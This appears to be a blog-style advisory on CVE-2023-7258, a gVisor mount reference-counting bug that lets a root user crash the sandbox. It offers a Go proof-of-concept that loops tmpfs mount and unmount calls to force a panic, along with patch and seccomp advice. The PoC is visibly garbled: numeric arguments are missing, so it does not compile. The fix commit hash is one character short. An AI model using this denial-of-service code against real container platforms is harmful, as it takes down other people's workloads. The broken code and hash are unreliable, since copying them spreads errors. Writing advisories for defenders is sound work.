CVE-2023-7258 - Root User Can Crash gVisor Sandbox with Mount Point Reference Counting Bug

---

TL;DR

A bug in how gVisor keeps track of mounted volumes lets a root user crash the sandbox. If they mount and unmount volumes in a special way, it forces the process to panic (crash), causing a Denial of Service (DoS) attack. This can be critical if you allow root users (or containers running as root) to mount filesystems using gVisor. Upgrade gVisor past commit 6a112c60a257dadac59962ebc9e9b5aee70b5b6 to patch it!

What is gVisor?

gVisor is an open source project by Google that implements a kind of 'user-space sandbox' for running containers. It sits between the application code and the host kernel, providing a layer of isolation.

The Vulnerability: CVE-2023-7258

Reported: December 2023
Affected versions: All gVisor versions prior to commit 6a112c60a257dadac59962ebc9e9b5aee70b5b6

What’s the problem?

gVisor tracks mounted filesystems using a reference counting system. When you mount or unmount something, it should increase or decrease a 'count' representing how many users or references exist for that mount point.

Because of a bug in that system, it's possible to get the count out of sync. This causes a panic (a forced crash) inside gVisor, which means all processes in that sandbox terminate.

Exploit Details

With the right sequence of mount/unmount commands, you can cause this bug and crash the sandbox.

Demonstration

Below is a minimal code snippet in Go (assuming it runs in a privileged container with gVisor) to demonstrate the problem.

package main

import (
	"log"
	"os"
	"syscall"
)

func main() {
	// Create a temp dir for mounting
	if err := os.Mkdir("/tmp/testmnt", 0755); err != nil {
		log.Fatal(err)
	}
	defer os.Remove("/tmp/testmnt")

	// Mount a tmpfs
	err := syscall.Mount("tmpfs", "/tmp/testmnt", "tmpfs", , "")
	if err != nil {
		log.Fatalf("First mount failed: %v", err)
	}

	// Unmount the tmpfs
	err = syscall.Unmount("/tmp/testmnt", )
	if err != nil {
		log.Fatalf("First unmount failed: %v", err)
	}

	// Rapidly remount and unmount to trigger race
	for i := ; i < 10; i++ {
		syscall.Mount("tmpfs", "/tmp/testmnt", "tmpfs", , "")
		syscall.Unmount("/tmp/testmnt", )
	}

	log.Println("Done (if sandbox didn't crash)")
}

If your gVisor version is vulnerable to CVE-2023-7258 and your container allows mounting, this sequence may crash the whole sandbox.

Why Does This Work?

gVisor's reference counter should know how many times a mount point is active. Due to a bug, repeated rapid mounting and unmounting in some sequence causes the counter to drop below zero, which triggers a panic—the Go runtime's forced crash.

> _In other words: repeated mounting/unmounting fools gVisor into thinking a mount point is used less than it should be—so it gives up and crashes to avoid corruption._

Complete Denial of Service: All running processes inside the sandbox die.

- No privilege escalation out of the sandbox, but attacks against containerized workloads are possible.

Mitigation

If upgrading is not possible:

Consider using policies (like Seccomp or gVisor's own controls) to block mount syscall.

Best Fix:
Upgrade gVisor to any build after 6a112c60a257dadac59962ebc9e9b5aee70b5b6.

References

- gVisor Commit Fix: 6a112c60a257dadac59962ebc9e9b5aee70b5b6
- NVD: CVE-2023-7258
- gVisor Security Advisories
- gVisor Docs: Minimum Security

Conclusion

CVE-2023-7258 is a simple but risky bug: it lets any root user (with mount access) kill their whole gVisor sandbox VM. Container platforms should patch fast, or at least block mount calls from workloads running as root!

> If you run gVisor and allow root workloads to mount filesystems, patch ASAP!

Got questions or want to share your experience? Comment below!

Timeline

Published on: 05/15/2024 17:15:09 UTC
Last modified on: 08/02/2024 08:57:35 UTC